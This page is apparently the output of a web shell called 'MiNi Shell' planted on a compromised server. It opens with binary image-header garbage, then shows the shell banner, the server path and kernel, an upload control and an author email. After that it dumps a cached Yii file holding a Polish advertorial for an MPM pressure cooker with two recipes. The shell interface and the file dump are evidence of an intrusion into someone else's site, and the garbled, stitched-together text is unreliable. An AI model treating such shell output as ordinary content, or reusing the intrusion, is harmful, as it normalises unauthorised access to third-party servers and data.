JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/self/root/home/vmanager/www/frontend/runtime/cache/5e/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //proc/self/root/home/vmanager/www/frontend/runtime/cache/5e/5e5a4da9d9b080646c937bf914ba0b2f.bin

a:2:{i:0;a:2:{i:0;s:13995:" 
                    
                    <h3 class="title" itemprop="headline">Posiłek zdrowy i szybki</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 26-02-2015, 00:00</strong>
                        <meta itemprop="dateModified" content=" 26-02-2015, 00:00"/>
                        <div class="hide" itemprop="description">
	Życie w biegu, nadmiar pracy, stres &ndash; to czynniki negatywnie wpływające na dobre samopoczucie. Gdy zima dobiega końca, zmęczony organizm w szczeg&oacute;lności potrzebuje maksymalnego wsparcia.</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="jedzenie.info.pl">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.jedzenie.info.pl/images/loga/jedzenie.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/60449/crop/800x600/43696207a6-708111001571974090.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.jedzenie.info.pl/artykuly/szczegoly/60449"/>
                        
                                        </p>

                    <div class="lorem">
                        <table align="left" border="0" cellpadding="1" cellspacing="1" style="width:150px;">
	<tbody>
		<tr>
			<td>
				<img alt="Szybkowar w zestawie MGS-02 firmy MPM" src="https://common.v-manager.pl/uploads/source/articles/60449/0_upload_fdd6e4610c.webp" style="width:150px;height:123px;float:left;" loading="lazy" /></td>
		</tr>
		<tr>
			<td>
				 </td>
		</tr>
		<tr>
			<td>
				<img alt="Szybkowar w zestawie MGS-02 firmy MPM" src="https://common.v-manager.pl/uploads/source/articles/60449/0_upload_b93078e806.webp" style="width:150px;height:211px;float:left;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	<strong>Życie w biegu, nadmiar pracy, stres – to czynniki negatywnie wpływające na dobre samopoczucie. Gdy zima dobiega końca, zmęczony organizm w szczególności potrzebuje maksymalnego wsparcia. Jednak przy szybkim tempie życia czasem trudno jest znaleźć czas na przygotowanie pełnowartościowego posiłku.  Nowy szybkowar w zestawie MGS-02 firmy MPM zapewnia przygotowanie zdrowego dania w niemal trzy razy krótszym czasie, niż przy użyciu tradycyjnego garnka.</strong></p><p>
	Intensywny tryb życia, szczególnie w okresie przedwiosennym, może doprowadzić do wycieńczenia organizmu. Żeby tego uniknąć i utrzymać dobre samopoczucie, należy spożywać zwiększoną dawkę witamin i trzymać się zrównoważonej diety. Niestety, nieraz brakuje czasu na pieczołowite przygotowanie posiłku. Rozwiązaniem, które pozwoli usprawnić proces przyrządzenia zdrowego jedzenia jest zestaw MGS-02 firmy MPM. Przygotowanie dań z pomocą garnków ciśnieniowych skróci czas gotowania do 70% oraz pozwoli zaoszczędzić do 50% energii elektrycznej i gazu. Ponadto do kompletu jest dołączony wkład do gotowania na parze, umożliwiający przyrządzenie posiłku w najzdrowszy możliwy sposób. Używanie tradycyjnych garnków powoduje, że woda przejmuje średnio niemal połowę witamin i minerałów zawartych w składnikach. Szybkowary MGS-02 zapewniają przygotowanie potraw zachowujących więcej wartości odżywczych. Z kolei mniejsza ilość wody uchroni od nadmiaru wsypywanej soli, której nadwyżka w organizmie może powodować nadciśnienie i niekorzystnie wpływać na układ krążenia.</p><table align="right" border="0" cellpadding="1" cellspacing="1" style="width:200px;">
	<tbody>
		<tr>
			<td>
				<img alt="Szybkowar w zestawie MGS-02 firmy MPM" src="https://common.v-manager.pl/uploads/source/articles/60449/0_upload_3316287011.webp" style="width:200px;height:117px;float:right;" loading="lazy" /></td>
		</tr>
		<tr>
			<td>
				<img alt="Szybkowar w zestawie MGS-02 firmy MPM" src="https://common.v-manager.pl/uploads/source/articles/60449/0_upload_aae2b65c4f.webp" style="width:200px;height:192px;float:right;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	Komplet MGS-02 to dwa garnki o pojemności 4 i 6 litrów, do których pasuje uniwersalna pokrywa. Przechowywanie zestawu nie stanowi problemu. Dzięki składanym kompaktowym uchwytom, zajmie on w szafce optymalną ilość miejsca. Dla tych, którzy nie przepadają za zmywaniem naczyń istotnym atutem jest możliwość czyszczenia sprzętu w zmywarce (bez pokrywy).</p><p>
	Każdy uwielbia aromatyczne jedzenie, jednak jeśli przesiąka nim całe mieszkanie, łącznie z ubraniami w szafie, wtedy zapach może odrobinę drażnić. Podczas gotowania z pomocą zestawu MGS-02 nadmierne rozchodzenie się aromatów jest ograniczone, dzięki czemu mieszkanie zachowa świeży klimat.</p><p>
	Szybkowar MGS-02 firmy MPM pozwala na przygotowanie pełnowartościowego posiłku w szybszy i przyjemniejszy sposób. Własnoręcznie zrobione potrawy zachowują pełnię smaku, koloru i wartości odżywczych, co pozytywnie wpłynie na nasze samopoczucie i odporność.</p><p>
	<strong>Dla tych, którym czasem brakuje pomysłu na obiad, firma MPM skomponowała przepisy na dania dla 4-5 osób, które można przygotować w szybkowarach MGS-02:</strong></p><p>
	<u><strong>Policzki wieprzowe w sosie miodowo-imbirowym</strong></u></p><p>
	<u>Składniki:</u></p><ul>
	<li>
		1 kg policzków wieprzowych</li>
	<li>
		2 duże cebule</li>
	<li>
		2  ząbki czosnku</li>
	<li>
		kawałek świeżego imbiru ( ok 3 cm.)</li>
	<li>
		1/2 szkl miodu ( najlepiej gryczanego)</li>
	<li>
		0/5 l  mocniejszego piwa</li>
	<li>
		2 łyżki mąki</li>
	<li>
		olej do smażenia</li>
	<li>
		1 szkl wody lub wywaru.</li>
	<li>
		Do smaku: sól ,  pieprz, liść laurowy, ziele angielskie, słodka i ostra papryka,</li>
</ul><p>
	<u>Sposób przygotowania:</u></p><p>
	Cebulę, czosnek i imbir obrać. Cebulę pokroić w piórka, czosnek posiekać. Imbir pokroić w paseczki lub zetrzeć na tarce na grubych oczkach. Z policzków zdjąć błonę (jeśli jest), naciąć z jednej strony, obtoczyć w mące. Olej wlać do szybkowaru, rozgrzać na średnim ogniu. Wrzucić cebulę, czosnek i imbir, podsmażyć. Włożyć policzki i obsmażyć z każdej strony (można to również zrobić na patelni).  Dodać  miód,  piwo, wywar i przyprawy. Wszystko zagotować i sprawdzić smak. Jeśli jest za mało słone – dosolić. Zamknąć szybkowar i dusić ok. 45 min.</p><p>
	Policzki najlepiej podawać  z opiekanymi ziemniakami lub kaszą na sypko i surówkami.</p><p>
	<u><strong>Soja „po bretońsku” z indykiem</strong></u></p><p>
	<u>Składniki:</u></p><ul>
	<li>
		200 g soi</li>
	<li>
		200g gulaszowego mięsa z indyka</li>
	<li>
		50 dkg kiełbasy</li>
	<li>
		1/2 paczki mrożonej włoszczyzny</li>
	<li>
		3 łyżki koncentratu pomidorowego</li>
	<li>
		2 cebule</li>
	<li>
		1 łyżka mąki</li>
	<li>
		sól, pieprz, czosnek,</li>
	<li>
		Majeranek, ostra papryka</li>
</ul><p>
	<u>Sposób przygotowania:</u></p><p>
	Soję zalać wodą na kilka godzin (można na noc). Cebulę obrać, pokroić w niezbyt drobną kostkę, podsmażyć w szybkowarze. Dodać pokrojone mięso, kiełbasę, sól, pieprz i czosnek, chwilę smażyć. Soję osączyć z wody, włożyć do szybkowaru. Dodać włoszczyznę, wlać tyle wody, żeby przykryła składniki. Zamknąć szybkowar i dusić ok 20 min. Szybkowar zestawić z ognia, ostrożnie otworzyć. Do soi dodać koncentrat pomidorowy, majeranek i paprykę, wymieszać, doprawić.</p><hr /><p>
	<u><strong>Szybkowar MGS-02 – zestaw</strong></u></p><p>
	Cena: 450 zł</p><p>
	<strong>Cechy główne:</strong></p><ul>
	<li>
		Garnek – 4 l:<br />
		- Średnica garnka – 22 cm<br />
		- Średnica dna – 19 cm<br />
		- Wysokość garnka – 12 cm</li>
	<li>
		Garnek – 6 l:<br />
		- Średnica garnka – 22 cm<br />
		- Średnica dna – 18,5 cm<br />
		- Wysokość garnka – 19 cm</li>
	<li>
		Wykonane z wysokiej jakości stali nierdzewnej</li>
	<li>
		Ciśnienie robocze 100 kPa</li>
	<li>
		Specjalny system zamykania i otwierania (jedną ręką)</li>
	<li>
		Timer – sygnał dźwiękowy zakończenia czasu gotowania</li>
	<li>
		Akcesoria:<br />
		- Pokrywka szklana<br />
		- Wkład do gotowania na parze z funkcją tarki do jarzyn<br />
		- Podstawka pod wkład</li>
	<li>
		Potrójny system bezpieczeństwa:<br />
		- Okienko bezpieczeństwa<br />
		- Zawór bezpieczeństwa<br />
		- Regulator ciśnienia</li>
	<li>
		Wskaźnik ciśnienia w pokrywie</li>
	<li>
		Składane, kompaktowe uchwyty – nowość</li>
	<li>
		Możliwość stosowania do wszystkich kuchni (w tym indukcyjnych)</li>
	<li>
		Możliwość stosowania w warunkach wysokogórskich</li>
	<li>
		Możliwość zmywania garnków w zmywarce (bez pokrywy)</li>
	<li>
		Wielowarstwowy spód</li>
</ul><table align="center" border="0" cellpadding="1" cellspacing="1" style="width:500px;">
	<tbody>
		<tr>
			<td style="text-align:center;">
				<img alt="Szybkowar w zestawie MGS-02 firmy MPM" src="https://common.v-manager.pl/uploads/source/articles/60449/0_upload_99486b2fc8.webp" style="width:250px;height:162px;" loading="lazy" /></td>
			<td style="text-align:center;">
				<img alt="Szybkowar w zestawie MGS-02 firmy MPM" src="https://common.v-manager.pl/uploads/source/articles/60449/0_upload_206f9652af.webp" style="width:250px;height:138px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	<strong>Funkcje:</strong></p><ul>
	<li>
		Zdrowe ekologiczne gotowanie</li>
	<li>
		Przyśpiesza proces gotowania do 70%</li>
	<li>
		Oszczędność energii i gazu do 50%</li>
	<li>
		Chroni kolory, smaki i zapachy przygotowanych potraw</li>
	<li>
		Zapewnia zachowanie dużej ilości witamin, wartości odżywczych i smakowych</li>
	<li>
		Ogranicza ilość soli z uwagi na mniejszą ilość wody użytą do gotowania</li>
	<li>
		Ogranicza rozchodzenie się zapachów w trakcie gotowania</li>
</ul>
                        
                         


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        <div class="portal-light-background p1em mt1" itemprop="author" itemscope itemtype="https://schema.org/Person">
                        <strong>Źródło:</strong> 
                        <span itemprop="name">
                                                    
                            infoWire.pl                                                        
                                                    </span>
                        <br>
                    </div>
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=MPM" class="label label-default">MPM</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=szybkowar" class="label label-default">szybkowar</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=MGS-02" class="label label-default">MGS-02</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=garnek+ciśnieniowy" class="label label-default">garnek ciśnieniowy</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=wkład+do+gotowania+na+parze" class="label label-default">wkład do gotowania na parze</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=garnek" class="label label-default">garnek</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=pokrywa" class="label label-default">pokrywa</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.jedzenie.info.pl/artykuly/szczegoly/60449_posilek-zdrowy-i-szybki" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_60449";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"7cb25abfbf16576e0b045e53682823c0";s:21:"0.87659100 1746419628";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com